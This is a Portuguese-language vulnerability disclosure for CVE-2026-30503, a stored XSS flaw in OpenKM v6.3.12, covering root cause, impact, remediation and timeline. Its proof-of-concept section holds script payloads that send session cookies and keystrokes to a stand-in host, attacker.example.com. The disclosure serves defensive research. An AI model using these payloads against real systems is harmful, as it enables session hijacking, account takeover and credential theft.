
Divulgação detalhada do CVE-2026-30503, uma vulnerabilidade XSS armazenada no OpenKM v6.3.12. Inclui análise da causa raiz, payloads de PoC, avaliação de impacto e recomendações de remediação para pesquisadores de segurança e pentesters.
Descoberto e Reportado por Dharmendra Kumar — Pesquisador de Segurança
Cibersegurança | Testes de Penetração | Pesquisa de Vulnerabilidades | Divulgação Responsável
Este repositório documenta a divulgação responsável da CVE-2026-30503, uma vulnerabilidade de Cross-Site Scripting Armazenado (Stored XSS) identificada no OpenKM v6.3.12 — um sistema de gerenciamento de documentos de código aberto amplamente utilizado em ambientes corporativos.
A vulnerabilidade permite que um atacante autenticado injete JavaScript malicioso persistente na aplicação, que é executado no contexto do navegador de qualquer usuário (incluindo administradores) que posteriormente visualize o conteúdo afetado.
⚠️ Gravidade: Alta | Vetor de Ataque: Rede | Privilégios Necessários: Baixos | Interação do Usuário: Necessária
| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2026-30503 |
| Produto | OpenKM |
| Versão Afetada | v6.3.12 |
| Classe da Vulnerabilidade | Cross-Site Scripting Armazenado (XSS) |
| CWE | CWE-79: Neutralização Incorreta da Entrada Durante a Geração da Página Web |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| Pesquisador | Dharmendra Kumar |
| Tipo de Divulgação | Responsável / Coordenada |
OpenKM é um sistema de gerenciamento de documentos (DMS) gratuito e de código aberto que fornece uma interface web para gerenciar, auditar e distribuir documentos empresariais. É utilizado por empresas, órgãos governamentais e instituições educacionais globalmente.
v6.3.12Múltiplas vulnerabilidades de Cross-Site Scripting Armazenado (XSS) foram descobertas no OpenKM v6.3.12. Um atacante com acesso autenticado de baixo privilégio pode injetar payloads JavaScript arbitrários em um ou mais campos de entrada. Esses payloads são armazenados permanentemente no backend da aplicação e executados automaticamente sempre que qualquer usuário — incluindo administradores — acessar a página ou componente afetado.
Ao contrário do XSS Refletido, que exige que a vítima clique em um link manipulado, os payloads de XSS Armazenado são embutidos na própria aplicação, tornando-os significativamente mais perigosos e persistentes.
A vulnerabilidade decorre de três fraquezas combinadas no pipeline de tratamento de entrada da aplicação:
Entrada do Usuário ──► [NENHUMA Validação] ──► Armazenada no BD ──► [NENHUMA Codificação de Saída] ──► Renderizada no Navegador ──► XSS Executado
| Fraqueza | Descrição |
|---|---|
| ❌ Validação de Entrada Ausente | A aplicação não restringe ou sanitiza caracteres especiais (<, >, ", ', ;) em campos fornecidos pelo usuário |
| ❌ Codificação de Saída Ausente | Os valores armazenados são renderizados diretamente em HTML sem codificação de entidades HTML |
| ❌ Renderização DOM Insegura | Dados fornecidos pelo usuário são incorporados no contexto DOM sem CSP ou controles de sanitização |
Uma exploração bem-sucedida desta vulnerabilidade pode levar a:
| Risco | Descrição |
|---|---|
| 🍪 Sequestro de Sessão | Roubar tokens de sessão autenticados via exfiltração de document.cookie |
| 👤 Tomada de Conta | Comprometer contas de vítimas, incluindo contas de administrador |
| 🔐 Coleta de Credenciais | Injetar formulários de phishing para capturar credenciais de login |
| 📤 Exfiltração de Dados | Extrair silenciosamente documentos ou metadados sensíveis do DMS |
| ⚙️ Ações Não Autorizadas | Realizar operações privilegiadas em nome da vítima (excluir/modificar documentos) |
| 🎯 Alvo em Administradores | O payload é executado no painel de administração quando um administrador revisa o conteúdo |
| 🔄 Propagação de Worm | O payload XSS autorreplicante pode se espalhar entre usuários |
⚠️ Aviso: Esta PoC é compartilhada estritamente para fins educacionais e de pesquisa em segurança, sob os princípios de divulgação responsável. Não utilize isso contra sistemas que você não possui ou para os quais não tem permissão explícita por escrito para testar.
// PoC básica — demonstra execução de script
<script>alert('CVE-2026-30503 - XSS by Dharmendra Kumar')</script>
// Exfiltração de token de sessão
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
// Injeção de keylogger
<script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>
<script>alert(document.cookie)</script>| Recomendação | Implementação |
|---|---|
| ✅ Validação de Entrada | Lista branca de caracteres permitidos; rejeitar ou remover caracteres especiais HTML em todas as entradas do usuário |
| ✅ Codificação de Saída | Usar codificação HTML sensível ao contexto (ex.: OWASP Java Encoder) antes de renderizar dados em HTML |
| ✅ Política de Segurança de Conteúdo (CSP) | Implementar um cabeçalho CSP restrito: Content-Security-Policy: script-src 'self' |
| ✅ Cookies HTTPOnly e Seguros | Definir flags HttpOnly e Secure em todos os cookies de sessão para evitar acesso via JavaScript |
| ✅ Usar Bibliotecas de Segurança | Integrar OWASP AntiSamy ou DOMPurify para sanitização HTML |
| ✅ Revisão de Segurança de Código | Auditar todos os caminhos de renderização em busca de dados controlados pelo usuário não sanitizados |
| ✅ Atualização | Aplicar o patch mais recente fornecido pelo fornecedor ou atualizar para uma versão corrigida |
| Data | Evento |
|---|---|
| 🔍 Descoberta | Vulnerabilidade identificada durante avaliação de segurança do OpenKM v6.3.12 |
| 📧 Notificação ao Fornecedor | Relatório de divulgação inicial enviado à equipe de segurança do OpenKM |
| 🤝 Reconhecimento pelo Fornecedor | Equipe do OpenKM reconheceu o relatório |
| 📝 Atribuição do CVE | CVE-2026-30503 atribuído pelo Programa CVE |
| 🌐 Divulgação Pública | Divulgação pública coordenada após o período de correção |
Esta vulnerabilidade foi divulgada seguindo as melhores práticas de divulgação responsável, coordenando com o fornecedor e o Programa CVE antes do lançamento público.
Pesquisador de Segurança | Testador de Penetração | Caçador de Bugs
Dharmendra Kumar é um pesquisador independente de cibersegurança especializado em segurança de aplicações web, testes de penetração e divulgação responsável de vulnerabilidades. Com foco na identificação de falhas de segurança do mundo real em softwares amplamente utilizados, seu trabalho contribui para melhorar a postura de segurança das aplicações usadas globalmente.
Áreas de Especialização:
Conecte-se:
Este repositório destina-se exclusivamente a fins educacionais e informativos. Os detalhes da vulnerabilidade e os payloads de prova de conceito compartilhados aqui são publicados de acordo com os princípios de divulgação responsável. O autor não endossa, incentiva ou se responsabiliza por qualquer uso não autorizado destas informações. Sempre obtenha permissão explícita por escrito antes de realizar testes de segurança em qualquer sistema.
Agradecimentos especiais:
⭐ Se esta pesquisa foi útil, considere marcar este repositório com uma estrela.
© 2026 Dharmendra Kumar — Todos os Direitos Reservados